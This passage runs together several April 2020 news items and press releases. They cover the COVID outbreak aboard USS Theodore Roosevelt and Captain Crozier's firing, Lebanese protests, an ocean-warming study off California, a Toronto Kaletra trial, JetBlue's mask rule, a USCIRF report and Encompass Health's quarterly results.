recovered and one has died. Meanwhile, more than 4,200 Roosevelt crew members have been moved ashore into Guam and are going through quarantine. USS Theodore Roosevelt made headlines last month when a letter written by its now ex-captain Brett Crozier leaked to the press, in which he urged senior military officials to take action to safeguard sailors aboard the vessel. Crozier was controversially fired soon afterwards by then acting-Navy secretary Thomas Modly on April 2, but following pressure from top Navy officers, Defense Secretary Mark Esper is said to be considering reversing the decision. A staggering 955 crew members of the coronavirus-stricken USS Theodore Roosevelt have now tested positive for the infectious disease As of Tuesday morning, the latest updates from the Pentagon show a rise of 115 new positive cases of COVID-19 among those on board the warship since Friday, with all of its 4,983 crew members having now been tested USS Theodore Roosevelt made headlines last month when a letter written by its now ex-captain Brett Crozier leaked to the press, in which he urged senior military officials to take action to safeguard sailors aboard the vessel The chief of Naval Operations, Admiral Michael M. Gilday, and the acting Navy secretary, James McPherson, pushed Esper to reinstate Crozier to his position Friday in a shock turnaround. But Esper has not immediately accepted the recommendations and has instead asked for more time to review the decision. When he will make a decision or whether the White House will get involved at all remains unclear. Esper had been expected to announce the results of the Navy's investigation into the matter Friday afternoon. But defense officials told CNN the press conference had been canceled and phone calls between top lawmakers, Esper and the Navy regarding the matter have now been postponed until next week. Despite the current uncertainty, Esper has previously said he was open to the possibility of reinstating Crozier to his post. 'It will come to me at some point in time. As I'm in the chain of command, I can't comment on that further, but I got to keep an open mind with regard to everything,' Esper told NBC News on April 17. Esper was pushed on whether the decision to reinstate Crozier would mean that his firing was wrong in the first place but he refused to comment. 'We've got to take this one step at a time, let the investigation within the navy conclude itself ... and we'll make very reasoned opinions and judgement as this progresses,' he responded. Crozier was controversially fired soon afterwards on April 2 by then acting-Navy secretary Thomas Modly (left), but following pressure from top Navy officers to reverse the decision, Defense Secretary Mark Esper (right) is said to be considering the calls. The ship was thrust into the international spotlight when its captain Brett Crozier (pictured) was relieved of his command by the Navy on April 2 after he sounded the alarm over the outbreak on board his ship Crozier was said to have reached breaking point when he broke protocol and sent the memo urging navy officials to respond more urgently to the coronavirus outbreak on board USS Theodore Roosevelt, seriously fearing for the lives of his crew members. Having been warned by doctors that more than 50 sailors aboard the vessel would die without drastic intervention, Crozier pleaded with his superiors to evacuate the boat but they eschewed his appeals, believing the measure to be too drastic. After four consecutive days of rebuttals from his superiors, on March 30, Crozier took matters into his own hands and composed an unclassified email to 20 Navy personnel in the Pacific, disclosing the desperate situation on board and asking for their help. 'We are not at war. Sailors do not need to die. If we do not act now, we are failing to properly take care of our most trusted asset our Sailors,' the Captain wrote in the leaked letter. 'The spread of the disease is ongoing and accelerating.' Friends of Crozier said the 30-year veteran would have known sending the email would likely end his career, but he persevered regardless. Both Gilday and Gen. Mark A. Milley, the chairman of the Joint Chiefs of Staff, had advised Modly not to ax Crozier before an investigation was completed into the leaked memo. But, according to officials, Modly made the rash decision to fire the captain because he thought it was what President Trump wanted. Mody faced a backlash over his decision to oust the commander, with the move dividing the public, the military and politicians. Crozier, meanwhile, left the ship as a hero - with his crew cheering and giving him a raucous send-off in a video that went viral online. The return of the popular captain would provide some much needed good news for the crew of USS Theodore Roosevelt, after one of their shipmates, 41-year-old Chief Petty Officer Charles Robert Thacker Jr., died on April 13 after testing positive for coronavirus. Crozier was said to have reached breaking point when he broke protocol and sent the memo urging navy officials to respond more urgently to the coronavirus outbreak on board USS Theodore Roosevelt, seriously fearing for the lives of his crew members Having been warned by doctors that more than 50 sailors aboard the vessel would die without drastic intervention, Crozier pleaded with his superiors to evacuate the boat but they eschewed his appeals, believing the measure to be too drastic The Navy confirmed Thacker's death last week, saying he died at the US Naval Hospital in Guam of COVID-19, as his wife flew 6,200 miles from her San Diego military base to be by his bedside in his final moments. Thacker was the first active-duty military member to die of COVID-19. Chief Petty Officer Charles Robert Thacker Jr., died on April 13 after testing positive for coronavirus He had tested positive for coronavirus on March 30 the same day Croziers letter leaked - and was taken off the ship and placed in 'isolation housing' along with four other sailors at the Guam Navy hospital. Crozier, 50, had also been reported to have coronavirus but is thought to be recovering on Guam. His interim replacement, Capt. Carlos Sardiello, had previously commanded the Roosevelt but could head to a new assignment if Crozier returns. Meanwhile, most Roosevelt sailors are wrapping up weeks of quarantine as the ship prepares for its journey back to sea. They've been prohibited from posting details about their confinement, but some sailors and their family members have talked freely about their quarantine in gyms, hotel rooms and other facilities around the island. Sailors positive with COVID-19 were put in gyms lined with cots, and they are checked by medical staff twice a day. Others are in hotel rooms set aside for the Navy, and public access is restricted. Internet access in some places can be spotty, and food was limited early on but has improved. Sailors read, watch movies and can walk around outside, as long as they stay within quarantine zones. They were also able to communicate with one another on a private Facebook page. Sailors must have two successive negative tests before they are considered virus-free. Only then could they begin moving back to the ship. The crew still aboard the vessel have been conducting a deep clean of the ship. They will go ashore for quarantine when the first wave of sailors currently isolating return. U.S. officials won't say how long it will take for the ship to return to duty, but it has been docked in Guam for about a month, and could be there another three to four weeks. Of the total cases onboard, one sailor is currently hospitalized, 14 have recovered and one has died. Meanwhile, more than 4,200 Roosevelt crew members have been moved ashore into Guam and are going through quarantine Sailors must have two successive negative tests before they are considered virus-free. Only then could they begin moving back to the ship Only when the ship is deemed virus free, can it then head back to sea. In order to do so, the ship will also have to go through a regimented recertification process. The flight deck - from the pilots to the crews and the system operators - has to be recertified. Pilots will have to log flight hours and conduct a certain number of take-offs and landings from the carrier. Crews on the flight deck who direct the air traffic and those who operate the sensors and radars have to ensure everything runs right. Those checks could take several days. The biggest question is where will the Roosevelt go. Originally it was slated to be at sea for months, then participate in a large Pacific naval exercise before heading home to San Diego. Now Navy leaders have to decide whether to just send the beleaguered crew home or make up for the lost time in Guam. The USS Ronald Reagan carrier strike group based in Japan could get underway in coming weeks, as could the USS Nimitz, based in Bremerton, Washington. The Nimitz pulled out for routine pre-deployment exercises Monday and likely will be out training for about a month. As of Monday, 47 sailors on the USS Kidd (above) have tested positive for coronavirus. Two were evacuated to the U.S. and another 15 with symptoms were transferred to another ship for monitoring. While the Navy continues to grapple to get the outbreak aboard the USS Theodore Roosevelt under control, another is bubbling up on a separate destroyer. As of Monday, 47 sailors on the USS Kidd have tested positive for coronavirus. Two were evacuated to the U.S. and another 15 with symptoms were transferred to another ship for monitoring. The Kidd, a naval destroyer that had been doing counter-drug operations off South America, is heading to port in San Diego. The ship has a crew of about 350, and about 45 percent have been tested for the virus so far. Executive officer Cmdr. Matt Noland wrote in a post to the ship's Facebook page: 'I am an optimist, but make no mistake. KIDD is in a fight right now, against COVID and against anyone out there who might want to capitalize on what they perceive as a weakness.' He continued: 'Destroyers are tough ships that breed tough Sailors. Warfighters. We've got this.' Clashes broke out between protesters and security forces in Lebanons nothern city Tripoli amid a crash in the local currency and a surge in food prices. Dozens of young men smashed the fronts of local banks and set fire to an army vehicle, as the protests turned into riots. The Red Cross said its teams were working on evacuating wounded people in Tripoli. Earlier Monday, scattered anti-government protests broke out in several parts of the country, leading to road closures that prevented medical teams from setting out from Beirut to conduct coronavirus tests across the country, The AP reported. The Health Ministry said its teams would try again on Tuesday, urging protesters to let the paramedics work to evaluate the spread of the virus in the tiny country of 5 million people. Around noon Monday, Lebanese troops forcefully removed dozens of protesters from a major highway in Zouk Mosbeh, north of Beirut, and traffic resumed. Shortly afterward, it was blocked again with burning tires. The Lebanese army said it respects the peoples right to protest as long as the protesters dont close roads or attack public and private property. Toronto, Ontario--(Newsfile Corp. - April 28, 2020) - City View Green Holdings Inc. ("City View" or the "Company"), trading through the facilities of the Canadian Securities Exchange ("CSE") under the symbol "CVGR" and on the OTCQB under the symbol "CVGRF" announces that due to logistics and delays caused by the COVID-19 pandemic, the Company is relying on the blanket order of the Ontario Securities Commission (the "OSC") under the "Ontario Instrument 51-502", dated March 23, 2020, to postpone the filing of its annual financial statements and management's discussion and analysis (collectively, the "Annual Filings") for the year ended December 31, 2019. In response to the COVID-19 pandemic, the OSC and other securities regulatory authorities in Canada have granted a blanket exemption allowing issuers an additional forty-five days to complete their regulatory filings that were otherwise due during the period from March 23, 2020 to June 1, 2020. The Company presently anticipates being able to complete and file its Annual Filings on or before June 12, 2020 and sincerely appreciates the extension provided by the OSC. Until the Company has filed and announced the required Annual Filings, members of management and other insiders are subject to a trading black-out policy that reflects the principles in section 9 of National Policy 11-207 - Failure-to-File Cease Trade Orders and Revocations in Multiple Jurisdictions. The Company confirms that there have been no material business developments since November 2019 when the Company filed its third quarter interim financial results, other than as announced. About City View City View Green is a leading cannabis-infused food company focused on the development of food brands, extraction and distribution. Upon the anticipated receipt of its Cannabis Act processing and sales licences ("Cannabis Licences"), City View will incorporate cannabis-infused food production and extraction at its Brantford, Ontario facility. Once operational, it is our expectation that City View will produce high quality cannabis-infused food, oils, distillates, and water-soluble products for the food and beverage markets. In addition, City View owns a 19.9% stake in Budd Hutt Inc. ("Budd Hutt"), a retail-focused cannabis company with access to cannabis cultivation and production licences in Alberta and other retail opportunities across Canada. Through its relationship with Budd Hutt, the Company anticipates securing shelf space, product placement, and distribution opportunities for City View's products. For more information visit www.cityviewgreen.ca. For further information contact: City View Green Holdings Inc. Rob Fia, CEO & President Email: rob@cityviewgreen.ca Neither the Canadian Securities Exchange nor its regulations services accept responsibility for the adequacy or accuracy of this release. Disclaimer for Forward-Looking Information This press release contains forward-looking statements which are not composed of historical facts. By their nature, forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause our actual results, performance or achievements, or other future events, to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Forward-looking statements include estimates and statements that describe the Company's future plans, objectives or goals, including words to the effect that the Company or management expects a stated condition or result to occur. Forward-looking statements may be identified by such terms as "believes", "anticipates", "expects", "estimates", "may", "could", "would", "will", or "plan". Since forward-looking statements are based on assumptions and address future events and conditions, by their very nature they involve inherent risks and uncertainties. Although these statements are based on information currently available to the Company, the Company provides no assurance that actual results will meet management's expectations. There are a number of important factors that could cause the Company's actual results to differ materially from those indicated or implied by forward-looking statements and information. When relying on the Company's forward-looking statements and information to make decisions, investors and others should carefully consider the foregoing factors and other uncertainties and potential events. Important factors that could cause actual results to differ materially from the Company's expectations include, among others, availability and costs of financing needed in the future, changes in equity markets, delays in the development of projects, and ability to predict or counteract potential impact of COVID-19 coronavirus on factors relevant to the Company's business. Although the Company has attempted to identify important factors that could cause actual results to differ materially, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. THE FORWARD-LOOKING INFORMATION CONTAINED IN THIS PRESS RELEASE REPRESENTS THE EXPECTATIONS OF THE COMPANY AS OF THE DATE OF THIS PRESS RELEASE AND, ACCORDINGLY, IS SUBJECT TO CHANGE AFTER SUCH DATE. READERS SHOULD NOT PLACE UNDUE IMPORTANCE ON FORWARD-LOOKING INFORMATION AND SHOULD NOT RELY UPON THIS INFORMATION AS OF ANY OTHER DATE. WHILE THE COMPANY MAY ELECT TO, IT DOES NOT UNDERTAKE TO UPDATE THIS INFORMATION AT ANY PARTICULAR TIME EXCEPT AS REQUIRED IN ACCORDANCE WITH APPLICABLE LAWS. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55008 But many of the people who cause problems are likely the ones who could benefit from a long-term city partnership with a mental health service provider. Bahrain's Cabinet yesterday (April 27) reviewed the progress of work at 96 development projects worth BD311 million ($818 million) currently being implemented in the kingdom. HRH Prime Minister Prince Khalifa bin Salam Al Khalifa chaired the Cabinet session, which was attended by HRH Prince Salman bin Hamad Al Khalifa, the Crown Prince, Deputy Supreme Commander and First Deputy Premier and other officials. The developments under implementation include 15 road projects costing BD129 million; 49 sanitation projects worth BD118 million; and 32 construction projects valued at BD64 million, said a Bahrain News Agency report. The session was also informed, through a memorandum submitted by the Minister of Works, Municipalities Affairs and Urban Planning, about the tenders that had been launched or awarded in three sectors during the first quarter of this year. A total of 32 tenders, worth BD92 million, were launched; while 24 tenders costing BD16 million were awarded during the first quarter of 2020 in the roads, sanitation and construction sectors, the Cabinet was informed. California Cooperative Oceanic Fisheries Investigations Known as CalCOFI Started in 1949 to investigate the crumbling sardine fishery Participants are Scripps Institution of Oceanography, the National Marine Fisheries Service and the California Department of Fish and Game Collects data to about 1,600 feet deep at dozens of sites along Central and Southern California Routinely samples for temperature, salinity, oxygen, phosphate, silicate, nitrate and nitrite, chlorophyll, phytoplankton biodiversity, zooplankton biomass, zooplankton biodiversity and other factors. On the surface, all seems well with the waters off Californias coast. But beneath the waves, their basic elements are morphing in ways that dont bode well. The changes could undermine biological productivity in one of the worlds richest marine ecosystems the California Current which provides the states bounty of seafood, generates jobs and attracts tourist dollars. Scientists from Scripps Institution of Oceanography and other groups have been methodically measuring the currents southern waters for 62 years, and their data series is touted as the most extensive of its kind in the world. One research group from the La Jolla campus launched another cruise Saturday to continue investigating the ecosystem and the offshore impacts of global warming. It may not be obvious to your eyes, but its going on, said Mark Ohman, lead principal investigator for the California Current Ecosystem Long Term Ecological Research program at Scripps. Some of the changes are slow and subtle, but they are taking place nonetheless. He said the overarching issue is how global warming affects the California Current Ecosystem. You can have slow, progressive changes in the physical environment and very abrupt biological changes, Ohman said. No one knows where that tipping point is, exactly what role man-made pollution plays or how the complex interactions between ocean chemistry, physics and biology will play out. But theres wide agreement among scientists that the massive river of ocean water running down Californias coast is shifting with the climate in ways that will force people to adapt. Already, decreases in certain zooplankton, mid-water fishes and seabirds along the states coast have been linked to global warming. If these things start to really decline ... its going to affect the marine food web, said Tony Koslow, director of the California Cooperative Oceanic Fisheries Investigations, or CalCOFI, at Scripps. Research also shows that: The average surface water temperature has increased by about almost 3 degrees since 1950 at the Scripps Pier. Coastal waters have become more stratified by temperature, limiting the movement of species. Dissolved oxygen concentrations have decreased in parts of the southern California Current over the past 25 years and low-oxygen zones have spread along the Oregon coast. Nearshore waters are becoming more acidic because of dissolved carbon dioxide and threatening sensitive shellfish. The California Current is one of the richest marine areas in the world and the reason that California is home to dozens of commercial fisheries that hauled in some 373 million pounds worth more than $150 million in 2009, along with numerous noncommercial species ranging from plankton to marine mammals. The current generally flows south, driven by winds roughly parallel to the coast. It runs some 1,600 feet deep within about 600 miles of the shoreline from British Columbia to Baja California. The key to the ecosystems biological productivity is called upwelling, a condition in which winds push surface water offshore and it is replaced from below. The movement of deep waters to the surface circulates nitrates, phosphates and trace metals from below to the top water layers where they can be taken up by phytoplankton, which in turn grow and provide energy other organisms. There are just four comparable upwelling regions on Earth, according to a new Atlas of Coasts & Oceans published by the University of Chicago. Three are off Africa, while the fourth is next to Chile and Peru. Like all ecosystems, the California Current is subject to numerous forces from pollution to global ocean circulation. A major challenge for oceanographers is distinguishing between short-term variations such as El Nino and La Nina weather phenomena versus those that span decades and others that play out over hundreds or even thousands of years. Scientists at Scripps, which is part of the University of California San Diego, have been studying changes in the regional marine environment since 1949 as part of CalCOFI, along with colleagues from federal and state agencies. Four times a year, scientists voyage hundreds of miles along a set course to sample temperature, salinity, oxygen, zooplankton and other components of the southern California Current. Without such a record, there is no way to see a long-term change, Koslow said. The research has helped to define El Nino weather patterns and the Pacific Decadal Oscillation, a marine climate cycle that shifts every few decades. It also has provided foundational data for numerous other scientific endeavors. Scripps scientist Peter Bromirski was lead author of a recent paper that said complex interactions of air and water currents have held sea-level rise along the West Coast far below the global average in recent decades. He said signs point to a major shift in ocean dynamics that is expected to reduce the upwelling of cold, nutrient-rich waters off the coast. If that happens, waters stuck near the surface are expected to heat, expand and creep higher onto land more like they have elsewhere. Such changes would hamper coastal development and ripple through the ecosystem in less obvious ways. Alteration of the rate of upwelling will have consequences for plankton production, for growth and survival of fish population, for bottom-dwelling invertebrates, sea urchins, squids, sea birds and marine mammals, Ohman said. Just as unsettling, dead zones have been detected off the coast of Oregon starting in 2002. Researchers found oxygen levels too low for marine organisms to survive, something they couldnt easily explain. While scientists explore links to global warming, climate models suggest more low-oxygen zones due to rising water temperatures and changes in mixing patterns. Then theres the issue of acidification, which is the result of carbon dioxide from the atmosphere being absorbed by the ocean. As the seas become more acidic, they are less hospitable to sensitive shell-bearing organisms such as sea snails that are an important part of the food web. A recent study by the University of British Columbia said the northern abalone a gourmet favorite could be doomed if levels of carbon dioxide continue rising in the waters off the West Coast. At PRBO Conservation Science, a research group based in Petaluma, California Current program director Jaime Jahncke, said global warming appears to be driving wild swings in the abundance of dependent species from salmon to auklets and the overall trend is negative. The health of the ocean is not better. In fact, its probably going in the opposite direction, Jahncke said. This set of very extreme conditions is going to be harder for us to predict and manage. BAKU, Azerbaijan, April 28 Trend: AHK Azerbaijan conducted a flash survey among its member companies to gauge the initial impact of COVID-19 in the business environment. The sudden spread of COVID-19 has not only claimed lives, it is having an unprecedented impact on global economic activity. The severity of the shock has triggered strict containment measures across the globe, such as quarantines, border closures, and travel bans curtailing mobility and leading to substantial production disruptions and output losses. Azerbaijan followed the suit and imposed a special quarantine regime across the country to tackle the further spread of the new coronavirus. A vast majority of AHK members are noticing the critical or medium impact of the pandemic and resulting prevention and control measures on their businesses. Not surprisingly, these shocks are particularly acute in some specific sectors such as construction, retail, tourism, and hospitality. These observations emerge from a flash survey recently conducted by the German-Azerbaijani Chamber of Commerce among its 140 members. Companies are severely hit by the lower demand for products and services. As a direct consequence of the spread of the coronavirus, every third AHK member plans to lower its business performance target set for 2020. In this context, companies intend to rely on government support and believe that flexible and timely policymaking interventions will be essential to create the conditions for quick economic recovery. Questioned about the most important measures that the Azerbaijani government should introduce to support businesses, for 70% of responding AHK members, tax holidays or deferral of payments is the primary condition. It is reassuring that despite tempered performance and possible future challenges, almost half of the surveyed AHK members are NOT planning major cutbacks in their employment strategies this year. It is worth mentioning that AHK members claim to be supporting the government in its mission to contain the spread of Covid-19 in the country, as well as identify key action areas for economic recovery associated with this. Thus, 22 out of 60 surveyed AHK members claim to have made donations to Coronavirus Response Fund established by the decree of the President in March 2020. A large number of other respondents claim to have supported the government through consultations regarding reforms and economic stimulus measures. We hope that this Survey will be a useful tool and reliable source of feedback in providing state authorities and policymakers with deeper insights into the current situation and business needs. Thus, it will contribute to the governments efforts to mitigate the economic and financial disruptions and to move to rapid recovery. To do this, we are always ready to continue our constructive dialogue with the Azerbaijani government to map the best way forward for the common benefit of all economic subjects or formations, stated the CEO of the AHK Azerbaijan, Mr. Tobias Baumann. Detailed survey findings are available to download on our website. About AHK Azerbaijan: The German-Azerbaijani Chamber of Commerce (AHK Azerbaijan) is the official representation of the German economy in Azerbaijan providing information services and support to the companies in their market and business research since 2012. The AHK Azerbaijan emerged from the German-Azerbaijan Business Association (DAWF) founded in 1999. With over 140 member companies, the AHK Azerbaijan is the most powerful European economic association in Azerbaijan. Companies can particularly benefit from the well-developed network of AHK in the economy and politics of Azerbaijan. While actively representing the interests of its member companies, the AHK Azerbaijan also offers a wide range of reliable business and legal services. A team of scientists from St. Michael's Hospital, Sinai Health and Sunnybrook Health Sciences Centre have launched a clinical trial to understand whether an existing drug used for HIV treatment and prevention may work to prevent COVID-19 infection. The trial will examine whether post-exposure prophylaxis (PEP), which is a medication a person takes once they've been exposed to a virus to prevent infection, could halt or slow the spread of COVID-19 in groups of people who have been exposed to a confirmed case. The drug in question - Kaletra (lopinavir/ritonavir as PEP)- has long been used in this capacity to prevent HIV in those who have been exposed to the virus. Early studies of the use of this medication as post-exposure prophylaxis therapy in other coronaviruses such as SARS and MERS have been promising, These are so-called 'cousin' viruses to COVID-19 and we want to understand whether lopinavir/ritonavir as PEP could impact its spread as well." Dr. Darrell Tan, Study Lead Investigator and Scientist, MAP Centre for Urban Health Solutions Dr. Tan is also an infectious disease physician at St. Michael's. Dr. Tan, along with his co-leads Dr. Allison McGeer, a senior clinician-scientist at the Lunenfeld-Tanenbaum Research Institute of Sinai Health, and Dr. Adrienne Chan, a clinician-investigator at the Sunnybrook Research Institute, will collaborate with Toronto Public Health to identify confirmed cases of COVID-19. They'll then connect with those exposed to confirmed cases to enroll them in the study. "A great many people from all across Toronto have worked together to get this study started," says Dr. McGeer. "We know we need to be finding solutions that contribute to stopping the spread of this disease as quickly as possible." The group of contacts of one patient with confirmed COVID-19 will be identified as a 'cluster.' Entire clusters will be randomized to receive either the medication or no intervention. The team of researchers will then track whether or not participants develop COVID-19 by asking them to complete self-tests for the virus weekly. To limit contact, the research team will rely on courier and virtual or phone meetings with participants. This type of a study is called a ring trial design and was an effective method of using vaccines to eradicate smallpox and test treatments for Ebola. "Kaletra is a drug that the HIV community has been using globally for two decades, and has also been commonly used at scale in low-resource settings. This means it could be easily scaleable not just in Canada, but internationally, if we are able to demonstrate its effectiveness in the prevention of COVID-19," says Dr. Chan, who is also an infectious diseases physician at Sunnybrook Health Sciences Centre. Participants randomized to receive the study drug will take it for 14 days, as this is the current estimated incubation period for COVID-19. "If this strategy works, it could be a major turning point in our global effort to stop a virus where, as we have seen, the outcomes can be devastating," says Dr. Tan. "We are hopeful that our work will bring us closer to understanding how to slow or contain the spread of COVID-19." The Winnipeg Fire Paramedic Service is investigating allegations a group of firefighters violated COVID-19 restrictions when they got together from other fire halls to celebrate the retirement of a firefighter. Hey there, time traveller! This article was published 27/4/2020 (625 days ago), so information in it may no longer be current. The Winnipeg Fire Paramedic Service is investigating allegations a group of firefighters violated COVID-19 restrictions when they got together from other fire halls to celebrate the retirement of a firefighter. WFPS spokeswoman Kristin Cuma said the service takes these allegations seriously. "The Winnipeg Fire Paramedic Service has strong policies aimed at preventing the spread of COVID-19 amongst both responders and our patients," Cuma said Monday in an emailed statement. "It also recommends members maintain appropriate social distancing where possible, while on scenes and in stations. "The WFPS is currently investigating a report indicating members of the service hosted colleagues from other stations to Station 1 over the weekend, and in doing so, failed to follow social-distancing policies. The allegations suggest members attended the station to pay respects to a retiring firefighter on his last shift. "The health and safety of all service members and the public is the top priority of WFPS. The WFPS takes these allegations seriously and if proven, appropriate disciplinary actions will be taken." Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Across North America, fire departments and firefighters have imposed restrictions aimed at stopping the spread of the virus. In both Canada and the United States, fire halls have been closed temporarily after firefighters tested positive for the virus, and in the U.S. several firefighters have died from the virus. Alex Forrest, president of the United Fire Fighters of Winnipeg, said he couldn't comment fully on the matter because the union had just learned about the incident. "We are investigating it ourselves," Forrest said, adding he didn't go to the function in person, but still was able to send his congratulations. "I sent a video message to the firefighter congratulating him on his retirement." kevin.rollason@freepress.mb.ca People purchase flight tickets at a JetBlue desk at the Luis Munoz Marin international airport in San Juan, Puerto Rico, on March 14, 2020. (Ricardo Arduengo/AFP via Getty Images) JetBlue Requiring Passengers to Wear Masks on Flights JetBlue is requiring all passengers to wear a mask or another face covering on flights starting on May 4. The mandate, effective May 4, is the first of its kind among major airlines. JetBlue previously ordered all crew members to wear face coverings while working. The company said it modeled its policy on Centers for Disease Control and Prevention guidelines issued last month recommending people wear masks in certain areas. Wearing a face covering isnt about protecting yourself, its about protecting those around you, Joanna Geraghty, JetBlues president and chief operating officer, said in a statement. This is the new flying etiquette. JetBlue is asking customers to also don the coverings while in airports. No airports have issued a mask requirement as of yet. JetBlue says customers will have to wear a covering over their nose and mouth not only on planes but during check-in, boarding, and deplaning. Small children who arent able to wear masks are exempt. A worker wearing a protective suit holds masks to package at Naton Medical Group, a company which makes medical equipment in Beijing, on April 24, 2020.(Wang Zhao/AFP via Getty Images) Other changes JetBlue has implemented include limiting the number of seats for sale on most flights and ramping up its cleaning practices. JetBlue says the air in its planes is well circulated and cleaned through hospital-grade high-efficiency air particulate filters. The recirculated air is passed through the filters before reentering the cabin and being mixed with fresh air. On average, the air in the cabin is completely changed every three minutes. American Airlines said this week it would provide masks and sanitizing wipes for passengers but did not make a requirement for passengers to wear masks. Flight attendants will have to wear masks on most flights starting on May 1. Delta Air Lines will also start offering masks to passengers with no requirement but will make most workers don the coverings. United was the first airline to make flight attendants wear a mask or face covering. It has not announced a mask policy concerning passengers. Secretary of State Mike Pompeo should designate Syria as one of the worlds worst religious freedom offenders and put Iraq, Turkey and Egypt on a special watch list, the US Commission on International Religious Freedom (USCIRF) recommended in its annual report. The bipartisan, independent watchdog called on the US State Department Tuesday to expand its list of Countries of Particular Concern (CPC), which currently includes Iran, China, North Korea and Saudi Arabia. USCIRF recommended new CPC designations for India, Nigeria, Russia, Vietnam and Syria. Syrias majority Sunni population accounts for most of the victims of President Bashar al-Assads nine-year-long campaign to crush the opposition, including the recent Russian-backed government offensive in opposition-held Idlib province. Syria is also home to Alawis, Shia Muslims, Druze and a small number of Jews and Christians. The report notes ongoing violations against those minorities by radical groups including the Islamic State (IS) and Hayat Tahrir al-Sham (HTS). The number of Yazidis in Syria, an ancient monotheistic religion targeted with mass executions and sexual slavery by IS, continues to dwindle. In the countrys Afrin region, rights organizations have accused Turkish-backed armed groups of destroying religious sites and forcing Yazidis to convert to Islam. The Assad regime has not stepped in to stop any of it, USCIRF Vice Chair Nadine Maenza said of religious persecution in Syria. They tolerate it. The notable exception to Syrias status as a country abusing freedom of religion is the Kurdish-led autonomous administration in northeast Syria, the report concludes. Maenza calls it the only part of the region thats seen an increase in religious freedom this past year. To create a government that emphasizes tolerance for religious freedom in the neighborhood theyre in, its a remarkable thing, said Maenza. It is a place that could be a sanctuary for religious minorities to be able to practice their faiths. The watchdog, whose commissioners were appointed by Congress and President Trump, also recommended April 28 that 11 new countries be included on the State Departments Special Watch List, including Egypt, Iraq and Turkey. Why it matters: Religious freedom in the Middle East is under continued attack at a time when US refugee admissions are at an all-time low. For fiscal year 2020, President Donald Trump set the cap at 18,000, with just 5,000 slots reserved for people fleeing religious persecution. In its report, USCIRF recommends the administration return to the annual ceiling of roughly 95,000 and prioritize those under attack for their religious beliefs in countries like Syria. I think the number right now at 18,000 5,000 religiously persecuted is just awfully low, said Maenza. We would prefer that next year when they take a look again, that they would consider especially the religiously persecuted. Whats next: USCIRF has for seven years straight recommended the State Department revise its list of CPC-designated governments to include Syria. There is a chance that doing so could trigger a new round of penalties on the Assad regime, as the International Religious Freedom Act requires the president to take action in the event of a CPC designation. The State Department, however, has historically reimposed existing sanctions or reissued waivers against transgressing countries. Among its other recommendations, USCIRF called on the Donald Trump administration to release all of the $50 million in stabilization assistance that the White House promised in October 2019 would be used to support ethnic and religious minorities in Syria. The administration should also put significant pressure on Turkey to withdraw from the northeast and ensure that neither its military nor the rebel groups fighting on its behalf abuse religious and ethnic minorities in Kurdish-held Syria, the report said. Know more: Bryant Harris examines how Congress is preparing sanctions on the Assad regime and its backers under the Caesar Syria Civilian Protection Act. In northwest Syria, Khaled al-Khateb takes a look at the recent defections of prominent leaders within HTS. Provided Photo COLONIE Judaea Whittingham, a senior at the Academy of Holy Names, was presented with the Les Couch award, which is given annually to a student who is an active volunteer in the community. Les Couch was a charter member of the Greater Loudonville Association and past president in the 1980s, succeeding the first president, Candace Weir. The GLA honored his memory by establishing a prize of $500 for a high school senior who lives in the town of Colonie. The prize was raised to $1,000 in recent years. BIRMINGHAM, Ala., April 28, 2020 /PRNewswire/ -- Encompass Health Corp. (NYSE: EHC), a national leader in integrated healthcare, offering facility-based and home-based patient care through its network of inpatient rehabilitation hospitals, home health agencies and hospice agencies, today reported its results of operations for the first quarter ended March 31, 2020. The Company also provided an update on the measures it has implemented to respond to the COVID-19 pandemic. "Through February, our operating performance was strong in both business segments," said President and Chief Executive Officer of Encompass Health Mark Tarr. "Beginning in March, we experienced lower volumes and higher operating expenses related to the COVID-19 pandemic. While we expect these lower volumes to continue in the near term, we view them as temporary and remain confident in the intermediate and long-term growth prospects for our Company based on the increasing demands for the services we provide to an aging population." Consolidated results Growth Q1 2020 Q1 2019 Dollars Percent (In Millions, Except per Share Data) Net operating revenues $ 1,182.0 $ 1,124.0 $ 58.0 5.2 % Income from continuing operations attributable to Encompass Health per diluted share 0.87 1.04 (0.17) (16.3) % Adjusted earnings per share 0.87 1.04 (0.17) (16.3) % Cash flows provided by operating activities 29.3 159.9 (130.6) (81.7) % Adjusted EBITDA 228.0 242.9 (14.9) (6.1) % Adjusted free cash flow 74.6 127.8 (53.2) (41.6) % Revenue growth was driven by volume and pricing growth in the inpatient rehabilitation segment and volume growth in the home health and hospice segment. Income from continuing operations attributable to Encompass Health per diluted share for the first quarter of 2020 compared to the first quarter of 2019 reflected a decrease in earnings, as discussed in the segment results sections that follow. Cash flows provided by operating activities and adjusted free cash flow for the three months ended March 31, 2020 decreased primarily due to a decrease in earnings and an increase in working capital. The increase in working capital included higher accounts receivable in the Company's home health and hospice segment primarily due to the transition to the Patient Driven Groupings Model ("PDGM"), including a reduction in the Request for Anticipated Payment program for home health agencies. Cash flows provided by operating activities in the first quarter of 2020 included payment of $101 million for stock appreciation rights exercised during the period. See attached supplemental information for calculations of non-GAAP measures and reconciliations to their most comparable GAAP measure. Inpatient rehabilitation segment results Growth Q1 2020 Q1 2019 Dollars Percent Net operating revenues: (In Millions) Inpatient $ 890.0 $ 847.6 $ 42.4 5.0 % Outpatient and other 19.2 22.5 (3.3) (14.7) % Total segment revenue $ 909.2 $ 870.1 $ 39.1 4.5 % (Actual Amounts) Discharges 47,750 45,609 2,141 4.7 % Same-store discharge growth 2.4 % Net patient revenue per discharge $ 18,639 $ 18,584 $ 55 0.3 % Revenue reserves related to bad debt as a percent of revenue 1.2 % 1.4 % (20 basis points) (In Millions) Adjusted EBITDA $ 215.5 $ 230.0 $ (14.5) (6.3) % Revenue - Revenue growth resulted from volume growth and an increase in net patient revenue per discharge. New-store discharge growth resulted from joint ventures in Lubbock, Texas ( May 2019 ) and Boise, Idaho ( July 2019 ), and wholly owned hospitals in Katy, Texas ( September 2019 ) and Murrieta, California ( February 2020 ). New-store growth also resulted from a joint venture hospital in Yuma, Arizona changing from the equity method of accounting to a consolidated entity effective July 1, 2019 . Growth in net patient revenue 